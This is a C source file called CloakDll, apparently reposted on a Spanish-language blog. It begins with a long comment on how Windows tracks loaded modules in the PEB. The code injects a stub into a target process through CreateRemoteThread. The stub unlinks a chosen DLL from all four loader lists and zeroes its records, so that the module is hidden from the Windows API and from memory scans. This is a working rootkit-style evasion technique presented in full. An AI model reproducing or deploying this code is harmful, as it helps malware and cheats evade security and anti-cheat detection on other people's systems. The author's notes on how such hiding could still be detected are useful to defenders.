// CloakDll - by Darawk
// Featured @ www.RealmGX.com & www.Darawk.com
//
// The purpose of CloakDll is to allow the user to hide any loaded
// module from the windows API. It works by accessing the modules
// list stored in the PEB, and subsequently unlinking the module
// in question from all 4 of the doubly-linked lists that it's a
// node of. It then zeroes out the structure and the path/file
// name of the module in memory. So that even if the memory where
// the data about this module used to reside is scanned there will
// still be no conclusive evidence of it's existence. At present
// there is only one weakness that I have found in this method.
// I'll describe how it may still be possible to discover at least
// that a module has been hidden, after a brief introduction to how
// the GetModuleHandle function works.
//
// *The following information is not documented by Microsoft. This
// information consists of my findings while reverse-engineering
// these functions and some of them may be incorrect and/or
// subject to change at any time(and is almost definitely different
// in different versions of windows, and maybe even in different
// service packs). I've tried to make my code as version independant
// as possible but certain parts of it may not work on older versions
// of windows. I've tested it on XP SP2 and there i'll guarantee
// that it works, but on any other versions of windows, it's anyone's
// guess.*
//
// GetModuleHandle eventually calls GetModuleHandleExW, which in
// turn accesses the native API function GetDllHandle, which calls
// GetDllHandleEx. And it's not until here, that we actually see
// anything even begin to look up information about loaded modules.
// Whenever GetModuleHandle is called, it saves the address of the
// last ModuleInfoNode structure that it found in a global variable
// inside of ntdll. This global variable is the first thing
// checked on all subsequent calls to GetModuleHandle. If the
// handle being requested is not the one that was requested the last
// time GetDllHandleEx calls the LdrpCheckForLoadedDll function.
// LdrpCheckForLoadedDll begins by converting the first letter of the
// module name being requested to uppercase, decrementing it by 1 and
// AND'ing it with 0x1F. This effectively creates a 0-based index
// beginning with the letter 'A'. The purpose of this is so that
// the module can first be looked up in a hash table. The hash table
// consists entirely of LIST_ENTRY structures. One for each letter
// 'A' through 'Z'. The LIST_ENTRY structure points to the first
// and last modules loaded that begin with the letter assigned to
// that entry in the hash table. The Flink member being the first
// loaded beginning with that letter, and the Blink member being the
// last. The code scans through this list until it finds the module
// that it's looking for. On the off-chance that it doesn't find it
// there, or if the boolean argument UseLdrpHashTable is set to false
// it will begin going through one of the other three lists. If, at
// this point it still doesn't find it, it will admit defeat and return
// 0 for the module handle.
//
// Weakness: The global variable inside ntdll that caches the pointer
// to the last module looked up could be used to at least detect the
// fact that a module has been hidden. The LdrUnloadDll() function
// will set this value to 0 when it unloads a module, so if the cache
// variable points to an empty structure, the only logical conclusion
// would be a hidden module somewhere in the process. This could be
// resolved by using the static address of this variable and simply
// zeroing it out. However, this would make the code specific to only
// one version of windows. You could also scan the address space of
// ntdll for any occurences of the base address(aka module handle)
// of the module you're hiding. However, this would be slow and it
// would clutter up the CloakDll_stub function, because it'd have to
// all be done manually. And i'd have to either use a static base
// address for ntdll...which would probably work on most versions
// of windows, however I really don't like using static addresses.
// Or i'd have to manually locate it by writing my own unicode
// string comparison code, to lookup ntdll in the list by it's name.
// Realistically though anyone trying to detect this way would run
// into the same problem. That their code would not be version
// independant. So, it's unlikely to see any largescale deployment
// of such a technique. However, anyone who would like to solve
// this problem themselves is perfectly free, and encouraged to do
// so.
#include
#include
#include
#include
#pragma comment(lib, "shlwapi.lib")
#define UPPERCASE(x) if((x) >= 'a' && (x) <= 'z') (x) -= 'a' - 'A'
#define UNLINK(x) (x).Blink->Flink = (x).Flink; \
(x).Flink->Blink = (x).Blink;
#pragma pack(push, 1)
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
typedef struct _ModuleInfoNode
{
LIST_ENTRY LoadOrder;
LIST_ENTRY InitOrder;
LIST_ENTRY MemoryOrder;
HMODULE baseAddress; // Base address AKA module handle
unsigned long entryPoint;
unsigned int size; // Size of the modules image
UNICODE_STRING fullPath;
UNICODE_STRING name;
unsigned long flags;
unsigned short LoadCount;
unsigned short TlsIndex;
LIST_ENTRY HashTable; // A linked list of any other modules that have the same first letter
unsigned long timestamp;
} ModuleInfoNode, *pModuleInfoNode;
typedef struct _ProcessModuleInfo
{
unsigned int size; // Size of a ModuleInfo node?
unsigned int initialized;
HANDLE SsHandle;
LIST_ENTRY LoadOrder;
LIST_ENTRY InitOrder;
LIST_ENTRY MemoryOrder;
} ProcessModuleInfo, *pProcessModuleInfo;
#pragma pack(pop)
bool CloakDll_stub(HMODULE);
void CD_stubend();
bool CloakDll(char *, char *);
unsigned long GetProcessIdFromProcname(char *);
HMODULE GetRemoteModuleHandle(unsigned long, char *);
int main(int argc, char **argv)
{
CloakDll("notepad.exe", "kernel32.dll");
return 0;
}
bool CloakDll(char *process, char *dllName)
{
PathStripPath(dllName);
unsigned long procId;
procId = GetProcessIdFromProcname(process);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procId);
// Calculate the length of the stub by subtracting it's address
// from the beginning of the function directly ahead of it.
//
// NOTE: If the compiler compiles the functions in a different
// order than they appear in the code, this will not work as
// it's supposed to. However, most compilers won't do that.
unsigned int stubLen = (unsigned long)CD_stubend - (unsigned long)CloakDll_stub;
// Allocate space for the CloakDll_stub function
void *stubAddress = VirtualAllocEx(hProcess,
NULL,
stubLen,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
// Write the stub's code to the page we allocated for it
WriteProcessMemory(hProcess, stubAddress, CloakDll_stub, stubLen, NULL);
HMODULE hMod = GetRemoteModuleHandle(procId, dllName);
// Create a thread in the remote process to execute our code
CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)stubAddress, hMod, 0, NULL);
// Clean up after ourselves, so as to leave as little impact as possible
// on the remote process
VirtualFreeEx(hProcess, stubAddress, stubLen, MEM_RELEASE);
return true;
}
bool CloakDll_stub(HMODULE hMod)
{
ProcessModuleInfo *pmInfo;
ModuleInfoNode *module;
_asm
{
mov eax, fs:[18h] // TEB
mov eax, [eax + 30h] // PEB
mov eax, [eax + 0Ch] // PROCESS_MODULE_INFO
mov pmInfo, eax
}
module = (ModuleInfoNode *)(pmInfo->LoadOrder.Flink);
while(module->baseAddress && module->baseAddress != hMod)
module = (ModuleInfoNode *)(module->LoadOrder.Flink);
if(!module->baseAddress)
return false;
// Remove the module entry from the list here
///////////////////////////////////////////////////
// Unlink from the load order list
UNLINK(module->LoadOrder);
// Unlink from the init order list
UNLINK(module->InitOrder);
// Unlink from the memory order list
UNLINK(module->MemoryOrder);
// Unlink from the hash table
UNLINK(module->HashTable);
// Erase all traces that it was ever there
///////////////////////////////////////////////////
// This code will pretty much always be optimized into a rep stosb/stosd pair
// so it shouldn't cause problems for relocation.
// Zero out the module name
memset(module->fullPath.Buffer, 0, module->fullPath.Length);
// Zero out the memory of this module's node
memset(module, 0, sizeof(ModuleInfoNode));
return true;
}
__declspec(naked) void CD_stubend() { }
unsigned long GetProcessIdFromProcname(char *procName)
{
PROCESSENTRY32 pe;
HANDLE thSnapshot;
BOOL retval, ProcFound = false;
thSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(thSnapshot == INVALID_HANDLE_VALUE)
{
MessageBox(NULL, "Error: unable to create toolhelp snapshot", "Loader", NULL);
return false;
}
pe.dwSize = sizeof(PROCESSENTRY32);
retval = Process32First(thSnapshot, &pe);
while(retval)
{
if(StrStrI(pe.szExeFile, procName) )
{
ProcFound = true;
break;
}
retval = Process32Next(thSnapshot,&pe);
pe.dwSize = sizeof(PROCESSENTRY32);
}
return pe.th32ProcessID;
}
HMODULE GetRemoteModuleHandle(unsigned long pId, char *module)
{
MODULEENTRY32 modEntry;
HANDLE tlh = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pId);
modEntry.dwSize = sizeof(MODULEENTRY32);
Module32First(tlh, &modEntry);
do
{
if(!stricmp(modEntry.szModule, module))
return modEntry.hModule;
modEntry.dwSize = sizeof(MODULEENTRY32);
}
while(Module32Next(tlh, &modEntry));
return NULL;
}
CloakDll - by Darawk
Suscribirse a:
Enviar comentarios (Atom)
0 comentarios:
Publicar un comentario